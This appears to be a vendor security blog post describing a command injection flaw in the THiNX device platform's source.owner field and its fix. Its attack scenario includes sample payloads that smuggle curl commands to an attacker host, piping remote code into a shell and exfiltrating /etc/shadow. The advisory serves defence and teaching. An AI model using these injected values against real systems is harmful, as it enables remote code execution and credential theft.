Back to Blog
high SEVERITY4 min read

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

O
By Orbis AppSec
•Published September 30, 2026•Reviewed September 30, 2026

Answer Summary

THiNX device platform's source configuration API was vulnerable to command injection through the `source.owner` parameter. An attacker with permission to create or modify repository sources could execute arbitrary shell commands on the server by crafting a malicious owner value containing shell metacharacters. The fix adds `sanitka.owner()` validation to reject dangerous input before it reaches `git.fetch()`. CWE-78 (OS Command Injection).

Vulnerability at a Glance

cweCWE-78
fixAdded sanitka.owner() validation with null-reject pattern
riskRemote code execution via source configuration
languageJavaScript (Node.js)
root causeUnsanitized user input concatenated into shell commands
vulnerabilityCommand injection

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code) — see linked PR
Ecosystem N/A (first-party Node.js code)
CVE / GHSA not assigned
CWE CWE-78 (OS Command Injection)

The Vulnerability Explained

The THiNX platform's source management system builds git commands dynamically to fetch firmware repositories. The code constructs these commands by concatenating user-controlled values:

let TEMP_PATH = this.getTempPath(source.owner, source.source_id);
let sanitized_branch = this.normalizedBranch(source, callback);
// ...
git.fetch(sanitized_url, sanitized_branch, source.owner)

The critical flaw: while sanitized_branch and sanitized_url passed through validation functions, source.owner flowed directly from the API request into git.fetch(). This parameter originates from the /api/user/source endpoint where attackers can create or modify repository sources.

Inside the Git class, these values ultimately reach exec operations through string concatenation. An attacker providing source.owner with a value like '; curl attacker.com/exfil | sh # would have their command executed when the git operation runs.

The vulnerability's impact is severe because:

  • Source configuration is typically persistent — one malicious payload executes repeatedly
  • Git operations run server-side with the platform's privileges
  • IoT firmware platforms often have network access to devices, making lateral movement attractive

Attack Scenario

Consider a developer using THiNX to manage firmware for a device fleet. An attacker with compromised credentials or a malicious insider account creates a new source:

POST /api/user/source
{
  "url": "https://github.com/legit/firmware",
  "branch": "main",
  "owner": "legit'; curl -d @/etc/shadow https://attacker.com/leak #"
}

When THiNX attempts to fetch this repository, the unsanitized owner value injects a command that exfiltrates sensitive files before the git operation completes.

The Fix

The remediation adds explicit sanitization for the source.owner field using the existing sanitka validation library:

let sanitized_owner = sanitka.owner(source.owner);
if (sanitized_owner === null) {
    console.log("source add rejected: source_owner_insane", source.owner);
    return callback(false, "source_owner_insane");
}
source.owner = sanitized_owner;

This follows a reject-on-sanitization-failure pattern: if sanitka.owner() returns null, the operation aborts entirely rather than attempting to "clean" the input. This is safer than trying to strip dangerous characters, which often fails against creative bypasses.

The same pull request addressed a related vulnerability in cleanupDirectory():

// Before:
let CLEANUP = "cd " + cleanup_path + "; rm -rf *";
exec.execSync(CLEANUP);

// After:
fs.emptyDirSync(cleanup_path);

This eliminates shell invocation entirely for directory cleanup, removing the attack surface regardless of input validation.

A third hardening change in get_inner_path() adds path.basename() to prevent directory traversal when reading repository contents:

file => fs.lstatSync(temp_path + "/" + path.basename(file)).isDirectory()

Key Takeaways

  • Validate every parameter that reaches shell commands, not just the obvious ones. The THiNX code sanitized branch and url but missed owner because it seemed like "just a username."

  • Prefer library functions over shell commands. The fs.emptyDirSync() replacement removes an entire vulnerability class without requiring perfect input validation.

  • Use rejection rather than transformation for dangerous inputs. The sanitka.owner() pattern that returns null on failure is more robust than attempting to strip or escape metacharacters.

  • Apply path.basename() when traversing user-controlled directories. Without this, maliciously named entries like ../../../etc could escape intended boundaries.

How Orbis AppSec Detected This

Source: The source.owner parameter from the /api/user/source API endpoint

Sink: git.fetch() which passes concatenated strings to exec operations in the Git class

Missing control: No call to sanitka.owner() or equivalent validation before the owner value reached shell command construction

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Added sanitka.owner() validation with null-reject semantics, plus elimination of exec.execSync() in favor of fs.emptyDirSync() for directory operations

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability illustrates how partial sanitization creates a false sense of security. The THiNX codebase had validation infrastructure (sanitka) and applied it to some parameters, but the source.owner field slipped through—likely because it appeared less "dangerous" than URLs or branch names. The fix demonstrates defense in depth: adding the missing validation, replacing shell commands with native filesystem operations, and hardening path traversal protections. For IoT platforms managing firmware across device fleets, such command injection vulnerabilities are particularly critical, as they can compromise both cloud infrastructure and the edge devices it controls.

Prevention and further reading

Frequently Asked Questions

What specific parameter in the THiNX source API allowed command injection?

The `source.owner` field in repository source configuration. While `sanitized_branch` and `sanitized_url` underwent validation, `source.owner` passed directly into `git.fetch()` without sanitization until the fix added `sanitka.owner()`.

Does the fix change how THiNX handles repository cleanup operations?

Yes, the same patch replaced an unsafe `exec.execSync()` call that concatenated paths into shell commands with `fs.emptyDirSync()`, eliminating another command injection vector in `cleanupDirectory()`.

Why did the fix add `path.basename()` when building directory paths?

The `get_inner_path()` function previously used `path.join(temp_path, file)` directly with user-influenced directory contents. The fix applies `path.basename(file)` to prevent directory traversal through maliciously named entries.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #551

Related Articles

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

critical

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.